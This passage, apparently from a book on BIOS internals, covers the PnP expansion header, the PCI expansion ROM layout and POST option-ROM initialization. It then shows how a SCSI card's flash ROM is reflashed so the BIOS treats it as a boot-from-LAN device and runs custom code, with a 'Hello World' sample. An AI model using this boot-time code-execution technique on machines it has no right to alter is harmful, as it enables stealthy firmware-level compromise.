mode (0000h if none) 

PnP 
specific 

18h Word Varies 
Disconnect vector: real/protected mode 
(0000h if none) 

PnP 
specific 

1Ah Word Varies 
Bootstrap entry point: 
real/protected mode (0000h if 
none) 

PnP 
specific 

1Ch Word 0000h Reserved 
PnP 
specific 

1Eh Word Varies 
Static resource information vector: 
real/protected mode (0000h if none) 

PnP 
specific 

 
• Signature. All expansion headers will contain a unique expansion header 
identifier. The Plug and Play expansion header's identifier is the ASCII string 
"$PnP" or hex 24 50 6E 50h (Byte 0 = 24h ... Byte 3 = 50h). 
 
• Structure revision. This is an ordinal value that indicates the revision 
number of this structure only and does not imply a level of compliance with 
the Plug and Play BIOS version. 
 
• Length. The length of the entire expansion header [is] expressed in 
sixteen-byte blocks. The length count starts at the Signature field. 
 
• Offset of next header. This location contains a link to the next expansion 
ROM header in this option ROM. If there are no other expansion ROM 
headers, then this field will have a value of 0h. The offset specified in this 
field is the offset from the start of the option ROM header. 
 
• Reserved. Reserved for expansion 
 
• Checksum. Each expansion header is checksummed individually. This 
allows the software which wishes to make use of an expansion header (in 
this case, the system BIOS) the ability to determine if the expansion header 
is valid. The method for validating the checksum is to add up all byte values 
in the expansion header, including the Checksum field, into an 8-bit value. A 
resulting sum of zero indicates a valid checksum operation. 
 
• Device identifier. This field contains the Plug and Play device ID. 
 
• Pointer to manufacturer string (optional). This location contains an 
offset relative to the base of the option ROM, which points to an ASCIIZ 
representation of the board manufacturer's name. This field is optional, and 
if the pointer is 0 (null) then the manufacturer string is not supported. 
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• Pointer to product name string (optional). This location contains an 
offset relative to the base of the option ROM, which points to an ASCIIZ 
representation of the product name. This field is optional and if the pointer is 
0 (null) then the product name string is not supported. 
 
• Device type code. This field contains general device type information that 
will assist the system BIOS in prioritizing the boot devices. The device type 
code is broken down into three-byte fields. The byte fields consist of a base-
type code that indicates the general device type. The second byte is the 
device sub-type and its definition is dependent upon the base-type code. The 
third byte defines the specific device programming interface, if-type, based 
on the base-type and sub-type. Refer to Appendix B of "Plug and Play BIOS 
Specification, version 1.0A" for a description of device type codes. 
 
• Device indicators. This field contains indicator bits that identify the 
device as being capable of being one of the three identified boot devices: 
input, output, or . . .  IPL. 
 

Bit Description 

7 
A 1 indicates that this ROM supports the device driver initialization 
model 

6 A 1 indicates that this ROM may be shadowed in RAM 

5 A 1 indicates that this ROM is read cacheable 

4 
A 1 indicates that this option ROM is only required if this device is 
selected as a boot device 

3 Reserved (0) 

2 A 1 in this position indicates that this device is an IPL device 

1 A 1 in this position indicates that this device is an input device 

0 A 1 in this position indicates that this device is a display device 

 
• Boot connection vector (real/protected mode). This location contains 
an offset from the start of the option ROM header to a routine that will cause 
the option ROM to hook one or more of the primary input, primary display, 
or . . . IPL device vectors (INT 9h, INT 10h, or INT 13h), depending upon the 
parameters passed during the call. When the system BIOS has determined 
that the device controlled by this option ROM will be one of the boot devices 
(the primary input, primary display, or IPL device), the system ROM will 
execute a FAR CALL to the location pointed to by the boot connection vector. 
The system ROM will pass the following parameters to the options ROM's 
boot connection vector. 
 

Register 
Value on 
Entry 

Description 

AX 
Provides an indication as to which vectors should be hooked 
by specifying the type of boot device this device has been 
selected as. 
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Bit 7..3 Reserved(0) 
Bit 2: 1 = Connect as IPL (INT 13h) 
Bit 1: 1 = Connect as primary video (INT 10h) 
Bit 0: 1 = Connect as primary input (INT 09h) 

ES:DI Pointer to system BIOS PnP installation check structure. 

BX 
CSN for this card, ISA PnP devices only. If not an ISA PnP 
device, then this parameter will be set to FFFFh. 

DX 
Read data port, (ISA PnP devices only). If no ISA PnP 
devices, then this parameter will be set to FFFFh. 

 
• Disconnect vector (real/protected mode). This vector is used to 
perform a cleanup from an unsuccessful boot attempt on an IPL device. The 
system ROM will execute a FAR CALL to this location on IPL failure. 
 
• Bootstrap entry vector (real/protected mode). This vector is used 
primarily for RPL (remote program load) support. To RPL (bootstrap), the 
system ROM will execute a FAR CALL to this location. The system ROM will 
call the real/protected mode bootstrap entry vector instead of INT 19h if 
 

a. The device indicates that it may function as an IPL device. 
b. The device indicates that it does not support the INT 13h block 
mode interface. 
c. The device has a non-null bootstrap entry vector. 
d. The real/protected mode boot connection vector is null. 

 
The method for supporting RPL is beyond the scope of this specification. A 
separate specification should define the explicit requirements for supporting 
RPL devices. 
 
• Reserved. Reserved for expansion. 
 
• Static resource information vector. This vector may be used by non–
Plug and Play devices to report static resource configuration information. 
Plug and Play devices should not support the static resource information 
vector for reporting their configuration information. This vector should be 
callable both before and/or after the option ROM has been initialized. The 
call interface for the static resource information vector is as follows: 
 

Entry: 
ES:DI 

Pointer to memory buffer to hold the device's static resource 
configuration information. The buffer should be a minimum of 1,024 
bytes. This information should follow the system device node data 
structure, except that the device node number field should always 
be set to 0 and the information returned should only specify the 
currently allocated resources (allocated resource configuration 
descriptor block) and not the block of possible resources (possible 
resource configuration descriptor block). The possible resource 
configuration descriptor block should only contain the END_TAG 
resource descriptor to indicate that there are no alternative resource 
configuration settings for this device because the resource 
configuration for this device is static. Refer to the "Plug and Play ISA 
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Specification" under the section labeled "Plug and Play Resources" 
for more information about the resource descriptors. This data 
structure has the following format: 

Field Size 

Size of the device node Word 

Device node number/handle Byte 

Device product identifier Dword 

Device type code 3 bytes 

Device node attribute bit-field Word 

Allocated resource configuration descriptor block Variable 

Possible resource configuration descriptor block—should 
only specify the END_TAG resource descriptor 

2 bytes 

Compatible device identifiers Variable  

 
Refer to section 4.2 [of the "Plug and Play BIOS Specification"] for a 
complete description of the elements that make up the system device node 
data structure. For example, an existing, non–Plug and Play SCSI card 
vendor could choose to revise the SCSI board's option ROM to support the 
Plug and Play expansion header. While this card wouldn't gain any of the 
configuration benefits provided to full hardware Plug and Play cards, it would 
allow Plug and Play software to determine the devices configuration and thus 
ensure that Plug and Play cards will map around the static SCSI board's 
allocated resources. 
 

Option ROM Initialization 

The system BIOS will determine if the option ROM it is about to initialize 
supports the Plug and Play interface by verifying the structure revision 
number in the device's Plug and Play header structure. For all option ROMs 
compliant with the "Plug and Play BIOS Specification, version 1.0"; the 
system BIOS will call the device's initialization vector with the following 
parameters: 
 

Register 
Value 
on 
Entry 

Description 

ES:DI Pointer to system BIOS PnP installation check structure. 

BX 
CSN for this card, ISA PnP devices only. If not an ISA PnP device, 
then this parameter will be set to FFFFh. 

DX 
Read data port, (ISA PnP devices only). If no ISA PnP devices, 
then this parameter will be set to FFFFh. 

 
For other bus architectures refer to the appropriate specification for register 
parameters on entry. During initialization, a Plug and Play option ROM may 
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hook any vectors and update any data structures required for it to access 
any attached devices and perform the necessary identifications and 
initializations. However, upon exit from the initialization call, the option ROM 
must restore the state of any vectors or data structures related to boot 
devices (INT 9h, INT 10h, INT 13h, and associated BIOS data area [BDA] 
and extended BIOS data area [EBDA] variables). 
 
Upon exit from the initialization call, Plug and Play option ROMs should 
return some boot device status information in the following format: 
 

AX 
Bit 

Description 

8 1 = IPL device supports INT 13h block device format 

7 1 = Output device supports INT 10h character output 

6 1 = Input device supports INT 9h character input 

5:4 
 
 
 

00 = No IPL device attached 
01 = Unknown whether or not an IPL device is attached 
10 = IPL device attached (RPL devices have a connection) 
11 = Reserved 

3:2 
 
 
 

00 = No display device attached 
01 = Unknown whether or not a display device is attached 
10 = Display device attached 
11 = Reserved 

1:0 
 
 
 

00 = No input device attached 
01 = Unknown whether or not an input device is attached 
10 = Input device attached 
11 = Reserved 

Return status from initialization call 
 

Option ROM Initialization Flow 

The following outlines the typical steps used to initialize option ROMs during 
a Plug and Play system BIOS POST: 
 
1. Initialize the boot device option ROMs. This includes the primary input, 
primary output, and . . . IPL device option ROMs. 
 
2. Initialize ISA option ROMs by performing ISA ROM scan. The ISA ROM 
scan should be performed from C0000h to EFFFFh on every 2-KB boundary. 
Plug and Play option ROMs will not be included in the ROM scan. 
 
3. Initialize option ROMs for ISA devices which have a Plug and Play option 
ROM. Typically, these devices will not provide support for dynamic 
configurability. However, the resources utilized by these devices can be 
obtained through the static resource information vector. . . . 
 
4. Initialize option ROMs for Plug and Play cards which have a Plug and Play 
option ROM. 
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5. Initialize option ROMs that support the device driver initialization model 
(DDIM). Option ROMs that follow this model make the most efficient use of 
space consumed by option ROMs. Refer to Appendix B [of the "Plug and Play 
BIOS Specification, version 1.0"] for more information on the DDIM. 

 
 
7.1.2. "Abusing" PnP BIOS for Expansion ROM Development 
 
 At this point, you know that the facility of PnP BIOS that will help in developing 
the PCI expansion ROM is the bootstrap entry vector (BEV). The reason for selecting this 
bootstrap mechanism is that the core functionality of the PC that will be used must not be 
disturbed by the new functionality of the PC as the PCI expansion ROM development tool 
and target platform. In other words, by setting up the option ROM to behave as an RPL 
device, the option ROM will only be executed as the bootstrap device if the RPL, i.e., boot 
from LAN support, is activated in the system BIOS. By doing things this way, you can 
switch between normal usage of the PC and usage of the PC as a PCI expansion ROM 
development and target platform by setting the appropriate system BIOS setting, i.e., the 
boot from LAN activation entry. 
 To put simply, here I develop an experimental PCI expansion ROM that behaves 
like an ordinary LAN card ROM, such as the one used in diskless machines, e.g., etherboot 
ROMs. I use the part of the PCI expansion ROM routine to boot the machine, replacing the 
"ordinary" operating system boot mechanism. 
 In later sections, I demonstrate how to implement this logic by developing a 
custom PCI expansion ROM that can be flashed into a real PCI expansion card "hacked" to 
behave so that the PnP BIOS thinks it's a real LAN card. 
 
 
7.1.3. POST and PCI Expansion ROM Initialization 
 
 System POST code mostly treats add-in PCI devices like those soldered on to the 
motherboard. The one exception is the handling of expansion ROMs. The POST code 
detects the presence of an option ROM in two steps. First, the code determines if the PCI 
device has implemented an expansion ROM base address register (XROMBAR) in its PCI 
configuration space registers.2 If the register is implemented, the POST must map and 
enable the ROM in an unused portion of the address space and check the first 2 bytes for 
the AA55h signature. If that signature is found, there is a ROM present; otherwise, no ROM 
is attached to the device. If a ROM is attached, POST must search the ROM for an image3 
that has the proper code type and whose vendor ID and device ID fields match the 
corresponding fields in the device's PCI configuration registers. 

                                                 
 
2 Refer to figure 1.7 in chapter 1 for the PCI configuration space register layout that applies to PCI 
add-in cards. 
3 Image refers to the expansion ROM binary file inside the add-in card ROM chip. 
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 After finding the proper image, POST copies the appropriate amount of data into 
RAM. Then the device's initialization code is executed; determining the appropriate amount 
of data to copy and how to execute the device's initialization code will depend on the code 
type for the field. 
 
 
7.1.4. PCI Expansion XROMBAR 
 
 Some PCI devices, especially those intended for use on add-in cards in PC 
architectures, require local EPROMs for expansion ROM. The 4-byte register at offset 30h 
in a type 00h predefined header4 is defined to handle the base address and size information 
for this expansion ROM. Figure 7.1 shows how this word is organized. The register 
functions exactly like a 32-bit BAR except that the encoding and usage of the bottom bits is 
different. The upper 21 bits correspond to the upper 21 bits of the expansion ROM base 
address. The number of bits (out of these 21) that a device actually implements depends on 
how much address space the device requires. For instance, a device that requires a 64-KB 
area to map its expansion ROM would implement the top 16 bits in the register, leaving the 
bottom 5 (out of these 21) hardwired to 0. Devices that support an expansion ROM must 
implement this register. 
 Device-independent configuration software can determine how much address 
space the device requires by writing a value of all ones to the address portion of the register 
and then reading the value back. The device will return zeros in all don't-care bits, 
effectively specifying the size and alignment requirements. The amount of address space a 
device requests must not be greater than 16 MB. 
 

 
Figure 7.1 PCI XROMBAR layout 

 
 Bit 0 in the register is used to control whether or not the device accepts accesses to 
its expansion ROM. When this bit is 0, the device's expansion ROM address space is 
disabled. When the bit is 1, address decoding is enabled using the parameters in the other 
part of the base register. This allows a device to be used with or without an expansion ROM 
depending on system configuration. The memory space bit in the command register5 has 
precedence over the expansion ROM enable bit. A device must respond to accesses to its 

                                                 
 
4 Refer to figure 1.7 in chapter 1 for type 00h predefined header for PCI devices. The header in this 
context is PCI configuration space header. 
5 The command register is located in the PCI configuration space header of a PCI device. 
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expansion ROM only if both the memory space bit and the expansion ROM base address 
enable bit are set to 1. This bit's state after reset is 0. 
 To minimize the number of address decoders needed, a device may share a 
decoder among the XROMBAR and other BARs. When expansion ROM decode is 
enabled, the decoder is used for accesses to the expansion ROM, and device-independent 
software must not access the device through any other BARs. 
 
 
7.1.5. PCI Expansion ROM 
 
 The hardware aspect of PCI expansion ROM was explained in the preceding 
section. The XROMBAR is used to aid in the addressing of the ROM chip soldered into the 
corresponding PCI expansion card. 
 The PCI specification provides a mechanism whereby devices can supply 
expansion ROM code that can be executed for device-specific initialization and, possibly, a 
system boot function. The mechanism allows the ROM to contain several images to 
accommodate different machine and processor architectures. This section explains the 
required information and layout of code images in the expansion ROM. Note that PCI 
devices that support an expansion ROM must allow that ROM to be accessed with any 
combination of byte enables. This specifically means that dword accesses to the expansion 
ROM must be supported. 
 The information in the ROMs is laid out to be compatible with existing Intel x86 
expansion ROM headers for ISA, EISA, and MC adapters, but it will also support other 
machine architectures. The information available in the header has been extended so that 
more optimum use can be made of the function provided by the adapter and so that the 
runtime portion of the expansion ROM code uses the minimum amount of memory space. 
PCI expansion ROM header information supports the following functions: 
 

• A length code is provided to identify the total contiguous address space needed by 
the PCI device ROM image at initialization. 

• An indicator identifies the type of executable or interpretive code that exists in the 
ROM address space in each ROM image. 

• A revision level for the code and data on the ROM is provided. 
• The vendor ID and device ID of the supported PCI device are included in the 

ROM. 
 
 One major difference in the usage model between PCI expansion ROMs and 
standard ISA, EISA, and MC ROMs is that the ROM code is never executed in place. It is 
always copied from the ROM device to RAM and executed from RAM. This enables 
dynamic sizing of the code (for initialization and runtime) and provides speed 
improvements when executing runtime code. 
 
 
7.1.5.1. PCI Expansion ROM Contents 
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 PCI device expansion ROMs may contain code (executable or interpretive) for 
multiple processor architectures. This may be implemented in a single physical ROM, 
which can contain as many code images as desired for different system and processor 
architectures, as shown in figure 7.2. Each image must start on a 512-byte boundary and 
must contain the PCI expansion ROM header. The starting point of each image depends on 
the size of previous images. The last image in a ROM has a special encoding in the header 
to identify it as the last image. 
 

 
Figure 7.2 PCI expansion ROM structure 

 
 
7.1.5.1.1. PCI Expansion ROM Header Format 
 
 The information required in each ROM image is split into two areas. One area, the 
ROM header, must be located at the beginning of the ROM image. The second area, the 
PCI data structure, must be located in the first 64 KB of the image. The format for the PCI 
expansion ROM header is given in table 7.1. The offset is a hexadecimal number from the 
beginning of the image, and the length of each field is given in bytes. Extensions to the PCI 
expansion ROM header, the PCI data structure, or both may be defined by specific system 
architectures. Extensions for PC-AT-compatible systems are described later. 
 
Offset Length Value Description 
0h 1 55h ROM signature, byte 1 
1h 1 AAh ROM signature, byte 2 
2h–17h 16h Xx Reserved (processor architecture unique data) 
18h–19h 2 Xx Pointer to PCI data structure 

Table 7.1 PCI expansion ROM header format 

 
• ROM signature. The ROM signature is a 2-byte field containing a 55h in the first 

byte and AAh in the second byte. This signature must be the first 2 bytes of the 
ROM address space for each image of the ROM. 
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• Pointer to PCI data structure. The pointer to the PCI data structure is a 2-byte 
pointer in little endian format that points to the PCI data structure. The reference 
point for this pointer is the beginning of the ROM image. 

 
 
7.1.5.1.2. PCI Data Structure Format 
 
 The PCI data structure must be located within the first 64 KB of the ROM image 
and must be dword aligned. The PCI data structure contains the information in table 7.2. 
 

Offset Length Description 
0 4 Signature, the string "PCIR" 
4 2 Vendor identification 
6 2 Device identification 
8 2 Pointer to vital product data 
A 2 PCI data structure length 
C 1 PCI data structure revision 
D 3 Class code 
10 2 Image length 
12 2 Revision level of code/data 
14 1 Code type 
15 1 Indicator 
16 2 Reserved 

Table 7.2 PCI data structure format 

 
• Signature. These 4 bytes provide a unique signature for the PCI data structure. The 

string "PCIR" is the signature with P being at offset 0, C at offset 1, etc. 
• Vendor identification. The vendor identification field is a 16-bit field with the 

same definition as the vendor identification field in the configuration space for this 
device. 

• Device identification. The device identification field is a 16-bit field with the same 
definition as the device identification field in the configuration space for this 
device. 

• Pointer to vital product data. The pointer to vital product data (VPD) is a 16-bit 
field that is the offset from the start of the ROM image and points to the VPD. 
This field is in little endian format. The VPD must be within the first 64 KB of the 
ROM image. A value of 0 indicates that no VPD is in the ROM image. 

• PCI data structure length. The PCI data structure length is a 16-bit field that 
defines the length of the data structure from the start of the data structure (the first 
byte of the signature field). This field is in little endian format and is in units of 
bytes. 

• PCI data structure revision. The PCI data structure revision field is an 8-bit field 
that identifies the data structure revision level. This revision level is 0. 
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• Class code. The class code field is a 24-bit field with the same fields and 
definition as the class code field in the configuration space for this device. 

• Image length. The image length field is a 2-byte field that represents the length of 
the image. This field is in little endian format, and the value is in units of 512 
bytes. 

• Revision level. The revision level field is a 2-byte field that contains the revision 
level of the code in the ROM image. 

• Code type. The code type field is a 1-byte field that identifies the type of code 
contained in this section of the ROM. The code may be executable binary for a 
specific processor and system architecture or interpretive code. The code types are 
assigned as shown in table 7.3. 

 
Type Description 

0 Intel x86, PC-AT compatible 

1 Open firmware standard for PCI42 

2-FF Reserved 

Table 7.3 Code types 

 
• Indicator. Bit 7 in this field tells whether or not this is the last image in the ROM. 

A value of 1 indicates "last image"; a value of 0 indicates that another image 
follows. Bits 0–6 are reserved. 

 
 
7.1.5.2. PC-Compatible Expansion ROMs 
 
 This section describes further specification on ROM images and the handling of 
ROM images used in PC-compatible systems. This applies to any image that specifies Intel 
x86, PC-AT compatible in the code type field of the PCI data structure, and any PC-
compatible platform. 
 The standard header for PCI expansion ROM images is expanded slightly for PC 
compatibility. Two fields are added. One at offset 02h provides the initialization size for 
the image. Offset 03h is the entry point for the expansion ROM INIT function (table 7.4).6
 
Offset Length Value Description 
0h 1 55h ROM signature byte 1 
1h 1 AAh ROM signature byte 2 
2h 1 xx Initialization size: size of the code in units of 512 bytes 

                                                 
 
6 The INIT function is the first routine that's called (FAR CALL) by the system BIOS POST routine 
to start PCI expansion ROM execution. 
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3h 3 xx Entry point for INIT function; POST does a FAR CALL to this 
location 

6h–17h 12h xx Reserved (application unique data) 
18h–19h 2 xx Pointer to PCI data structure 

Table 7.4 PC-compatible expansion ROM format 

 
 
7.1.5.2.1. POST Code Extensions 
 
 POST code in these systems copies the number of bytes specified by the 
initialization size field into RAM and then calls the INIT function whose entry point is at 
offset 03h. POST code is required to leave the RAM area where the expansion ROM code 
was copied to as writable until after the INIT function has returned. This allows the INIT 
code to store some static data in the RAM area and to adjust the runtime size of the code so 
that it consumes less space while the system is running. The specific set of steps for the 
system POST code when handling each expansion ROM are as follows: 
 

1. Map and enable the expansion ROM to an unoccupied area of the memory address 
space. 

2. Find the proper image in the ROM and copy it from ROM into the compatibility 
area of RAM (typically C0000h to E0000h) using the number of bytes specified 
by initialization size. 

3. Disable the XROMBAR. 
4. Leave the RAM area writable and call the INIT function. 
5. Use the byte at offset 02h (which may have been modified) to determine how 

much memory is used at runtime. 
 
 Before system boot, the POST code must make the RAM area containing 
expansion ROM code read only. The POST code must handle VGA devices with expansion 
ROMs in a special way. The VGA device's expansion BIOS must be copied to C0000h. 
VGA devices can be identified by examining the class code field in the device's 
configuration space. 
 
 
7.1.5.2.2. INIT Function Extensions 
 
 PC-compatible expansion ROMs contain an INIT function responsible for 
initializing the I/O device and preparing for runtime operation. INIT functions in PCI 
expansion ROMs are allowed some extended capabilities because the RAM area where the 
code is located is left writable while the INIT function executes. 
 The INIT function can store static parameters inside its RAM area during the 
INIT function. This data can then be used by the runtime BIOS or device drivers. This area 
of RAM will not be writable during runtime. 
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 The INIT function can also adjust the amount of RAM that it consumes during 
runtime. This is done by modifying the size byte at offset 02h in the image. This helps 
conserve the limited memory resource in the expansion ROM area (C0000h–DFFFFh). 
 For example, a device expansion ROM may require 24 KB for its initialization and 
runtime code but only 8 KB for the runtime code. The image in the ROM will show a size 
of 24 KB so that the POST code copies the whole thing into RAM. Then, when the INIT 
function is running, it can adjust the size byte down to 8 KB. When the INIT function 
returns, the POST code sees that the runtime size is 8 KB and can copy the next expansion 
BIOS to the optimum location. 
 The INIT function is responsible for guaranteeing that the checksum across the 
size of the image is correct. If the INIT function modifies the RAM area, then a new 
checksum must be calculated and stored in the image. 
 If the INIT function wants to remove itself from the expansion ROM area, it does 
so by writing a zero to the initialization size field (the byte at offset 02h). In this case, no 
checksum has to be generated (since there is no length to checksum across). On entry, the 
INIT function is passed three parameters: the bus number, the device number, and the 
function number of the device that supplied the expansion ROM. These parameters can be 
used to access the device being initialized. They are passed in x86 registers: [AH] contains 
the bus number, the upper 5 bits of [AL] contain the device number, and the lower 3 bits of 
[AL] contain the function number. 
 Before calling the INIT function, the POST code will allocate resources to the 
device (using the BAR and interrupt line register) and will complete handling of any user-
definable features. 
 
 
7.1.5.2.3. Image Structure 
 
 A PC-compatible image has three lengths associated with it: a runtime length, an 
initialization length, and an image length. The image length is the total length of the image, 
and it must be greater than or equal to the initialization length. 
 The initialization length specifies the amount of the image that contains both the 
initialization and the runtime code. This is the amount of data that the POST code will copy 
into RAM before executing the initialization routine. Initialization length must be greater 
than or equal to runtime length. The initialization data copied into RAM must checksum to 
0 (using the standard algorithm). 
 The runtime length specifies the amount of the image that contains the runtime 
code. This is the amount of data the POST code will leave in RAM while the system is 
operating. Again, this amount of the image must checksum to 0. 
 The PCI data structure must be contained within the runtime portion of the image 
(if there is one); otherwise, it must be contained within the initialization portion. 
 
 
7.1.6. PCI PnP Expansion ROM Structure 
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 Having learned the PCI expansion ROM structure and PnP ROM structure from 
section 7.1.4 and section 7.1.5, you can deduce the layout of a PCI PnP expansion ROM. 
The layout is shown in figure 7.3. 
 

 
Figure 7.3 PCI PnP expansion ROM layout 

 
 Note that the layout shown in figure 7.3 doesn't apply to every PCI expansion 
ROM. Some PCI expansion ROM only adheres to the PCI expansion ROM specification, 
not to the PnP specification. I provide an example in chapter 8. Furthermore, the place of 
the checksum shown in figure 7.3 is not mandatory. The checksum can be located 
anywhere in the padding byte area or even in another "noninvasive" place across the PCI 
expansion ROM binary. 
 One more thing: PCI expansion ROMs that adhere to both the PCI expansion 
ROM specification and the PnP specification are mostly expansion ROMs for boot devices, 
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including RAID controllers, SCSI controllers, LAN cards (for boot from LAN), and some 
other exotic boot devices. 
 
 
7.2. PCI Expansion ROM Peculiarities 
 
 It is clear from section 7.1 that the PCI specification and the PnP BIOS 
specification have a flaw that can be exploited: 
 

Neither specification requires a PCI expansion ROM functionality to 
be cross-checked by the system BIOS against the physical class code 
hardwired inside the PCI chip. This means that any PCI expansion card 
that implement an expansion ROM can be given a different functionality in 
its expansion ROM code, i.e., a functionality not related to the corresponding 
PCI chip. The corresponding PCI chip only needs to enable its expansion 
ROM support in its XROMBAR to be able to activate PCI expansion ROM 
functionality. 

 
 For instance, you can hack a PCI SCSI controller card that has an expansion ROM 
to behave so that the PnP BIOS thinks it's a real LAN card.. You can "boot from LAN" 
with this card. 
 I have been experimenting with this flaw, and it works as predicted. By making the 
PCI expansion ROM contents to conform to an RPL PCI card,7 I was able to execute the 
custom-made PCI expansion ROM code. The details of PCI card I tested are as follows: 
 

1. Realtek 8139A LAN card (vendor ID = 10ECh, device ID = 8139h). This is a real 
PCI LAN card, used for comparison purposes. I equipped it with Atmel 
AT29C512 flash ROM (64 KB). It is purchased separately because the card 
doesn't come with flash ROM. The custom PCI expansion ROM were flashed 
using the flash program provided by Realtek (rtflash.exe). I enabled and set the 
address space consumed by the flash ROM chip in the XROMBAR of the Realtek 
chip with Realtek's rset8139.exe software. This step is carried out before flashing 
the custom-made expansion ROM. Keep in mind that the expansion ROM chip is 
not accessible until the XROMBAR has been initialized with the right value, 
unless the XROMBAR value has been hardwired to unconditionally support 
certain address space for expansion ROM chip. 

2. Adaptec AHA-2940U SCSI controller card (vendor ID = 9004, device ID = 8178). 
It has been equipped with a soldered PLCC SST 29EE512 flash ROM (64 KB). 
The custom PCI expansion ROM code flashed using a flash program (flash4.exe) 
from Adaptec. This utility is distributed with the Adaptec PCI SCSI controller 
BIOS update. The SCSI controller chip has its XROMBAR value hardwired to 

                                                 
 
7 RPL refers to remote program loader. One implementation of an RPL device is a LAN card that 
supports boot from LAN. 
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support a 64-KB flash ROM chip. The result is a bit weird; no matter how I 
changed the BIOS setup (boot from LAN option), the PCI initialization routine 
(not the BEV routine) always executed. I think this is because the controller's chip 
subclass code and interface code are inside the PCI chip that refers to the SCSI 
bus-controller boot device. The "hacked" card behave as if it's a real PCI LAN 
card; i.e., the system boots from the hacked card if I set the motherboard BIOS to 
boot from LAN and the experimental BEV routine inside the custom PCI 
expansion ROM code is invoked. 

 
 
7.3. Implementation Sample 
 
 This section provides an implementation sample from my testbed. The sample is a 
custom PCI expansion ROM that will be executed after the motherboard BIOS has done 
initialization. The sample is "jumped into" through its BEV by the motherboard BIOS 
during bootstrap.8
 
 
7.3.1. Hardware Testbed 
 
 The hardware I used for this sample is the Adaptec AHA-2940U PCI SCSI 
controller card. The PCI vendor ID of this card is 0x9004, and its PCI device ID is 
0x8178. It has a soldered PLCC SST 29EE512 flash ROM (64 KB) for its firmware. It cost 
around $2.50. I obtained this hardware from a refurbished PC component seller. 
 The PC used for expansion ROM development and as the target platform has the 
following hardware configuration shown in table 7.5. 
 

Processor : Intel Pentium II 450 MHz 

Motherboard : Iwill VD133 (slot 1) with VIA 693A northbridge and VIA 596B 
southbridge 

Videocard : PowerColor Nvidia Riva TNT2 M64 32 MB 
RAM : 256-MB SDRAM  
Soundcard : Addonics Yamaha YMF724 
Network Card : Realtek RTL8139C 
"Hacked" PCI Card : Adaptec AHA-2940U PCI SCSI controller card 
Harddrive : Maxtor 20 GB 5400 RPM 
CDROM : Teac 40X 
Monitor : Samsung SyncMaster 551v (15') 

Table 7.5 PC hardware configuration for testbed 

                                                 
 
8 In this context, bootstrap is the process of loading and starting the operating system. 
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7.3.2. Software Development Tool 
 
 I needed three kinds of software for the development of this sample: 
 

1. A development environment that provides a compiler, assembler, and linker for 
x86. I used GNU software, i.e., GNU AS assembler, GNU LD linker, GNU GCC 
compiler, and GNU Make. These development tools were running on Slackware 
Linux 9.0 in the development PC. I used Vi as the editor and Bourne Again Shell 
(bash) to run these tools. Note that the GNU LD linker must support the ELF 
object file format to be able to compile the sample source code (provided in a later 
section). Generally, all Linux distribution supports this object file format by 
default. As an addition, I used a hex dump utility in Linux to inspect the result of 
the development. 

2. A PCI PnP expansion ROM checksum patcher. As shown in section 7.1, a valid 
PCI expansion ROM has many checksum values that need to be fulfilled. Because 
the development environment cannot provide that, I developed a custom tool for it. 
The source code of this tool is provided in a later section. 

3. An Adaptec PCI expansion ROM flash utility for AHA-2940UW. The utility is 
named flash4.exe; it comes with the Adaptec AHA-2940UW BIOS version 2.57.2 
distribution. It's used to flash the custom-made expansion ROM code into the flash 
ROM of the card. I used a bootable CD-ROM to access real-mode DOS and 
invoke the flash utility; it also needs DOS4GW. DOS4GW is provided with the 
Adaptec PCI BIOS distribution. 

 
 
7.3.3. Expansion ROM Source Code 
 
 The basic rundown of what happens when the compiled source code executed is as 
follows: 
 

1. During POST, the system BIOS look for implemented PCI expansion ROMs from 
every PCI expansion card by testing the XROMBAR of each card. If it is 
implemented,9 then system BIOS will copy the PCI expansion ROM from the 
address pointed to by the XROMBAR, i.e., the expansion ROM chip to RAM in 
the expansion ROM area.10 Then the system BIOS will jump to the INIT function 
of the PCI expansion ROM. After the PCI expansion ROM has done its 
initialization, execution is back to the system BIOS. The system BIOS will check 
the runtime size of the PCI expansion ROM that was initialized previously. It will 

                                                 
 
9 XROMBAR consumed address space. 
10 Expansion ROM area in RAM is at the C0000h–DFFFFh physical address. 
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copy the next PCI expansion ROM from another PCI card (if it exists) to RAM at 
the following address: 
next_rom_addr = previous_expansion_rom_addr + 
                previous_expansion_rom runtime_size 
This effectively "trashed" the unneeded portion of the previous expansion ROM. 

2. Having done all PCI expansion ROM initialization, the system BIOS will write-
protect the expansion ROM area in RAM. You can protect the code against this 
possibility by copying to 0000:0000h in RAM. 

3. The system BIOS then does a bootstrap. It looks for an IPL device; if you set up 
the motherboard BIOS to boot from LAN by default, the IPL device will be the 
"LAN card." Int 19h (bootstrap) will point into the PnP option ROM BEV of the 
"LAN card" and pass execution into the code there. Therefore, this executes code 
in the write-protected RAM pointed to by the BEV. There's no writeable area in 
the code, unless you are loading part of this code into a read-write enabled RAM 
area and executing it from there. 

4. Then, the custom PCI PnP expansion ROM code is executed. The expansion ROM 
code will copy itself from the expansion ROM area in RAM to physical address 
0000_0000h and continue execution from there. After copying itself, the code 
switches the machine into 32-bit protected mode and displays "Hello World!" 
in the display. Then the code enters an infinite loop. 

 
 The next two subsections deal with the expansion ROM source code. The first 
section provides the source code of the expansion ROM, and the second one provides the 
source code of the utility used to patch the binary file resulting from moving the first 
section's source code into a valid PCI PnP expansion ROM. 
 
 
7.3.3.1. Core PCI PnP Expansion ROM Source Code 
 
 The purpose of the source code provided in this section is to show how a PCI PnP 
expansion ROM source code might look. The role of each file is as follows: 
 

• makefile: Makefile used to build the expansion ROM binary. 
• crt0.S: Assembly language file that contains all the headers needed, entry point for 

the BEV. The source code in this file initializes the machine from real mode into 
32-bit protected mode and prepares an execution environment for the modules that 
are compiled with C compiler. 

• main.c: C language source code jumped right after crt0.S finishes its execution. It 
displays the "Hello World!" message and then enters infinite loop. 

• video.c: C language source code that provides helper functions for character 
display on the video screen. The functions interface directly with the video buffer 
hardware. Functions in this file are called from main.c. 

• ports.c: C language source code that provides helper functions to interface directly 
with the hardware. It provides port I/O read-write routines. Functions in this file 
are called from video.c 
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• pci_rom.ld: Linker script used to perform linking and relocation to the object file 
resulting from crt0.S, video.c, ports.c, and main.c. 

 
 The overall source code is shown in the listings that follow. 
 

Listing 7.1 Core Expansion ROM Makefile 

# ----------------------------------------------------------------------- 
# Makefile for expansion ROM operating system 
# Copyright (C) 2005 Darmawan Mappatutu Salihun 
# This file is released to the public for noncommercial use only 
# ----------------------------------------------------------------------- 
 
CC= gcc 
CFLAGS= -c 
 
LD= ld 
LDFLAGS= -T pci_rom.ld 
 
ASM= as 
 
OBJCOPY= objcopy 
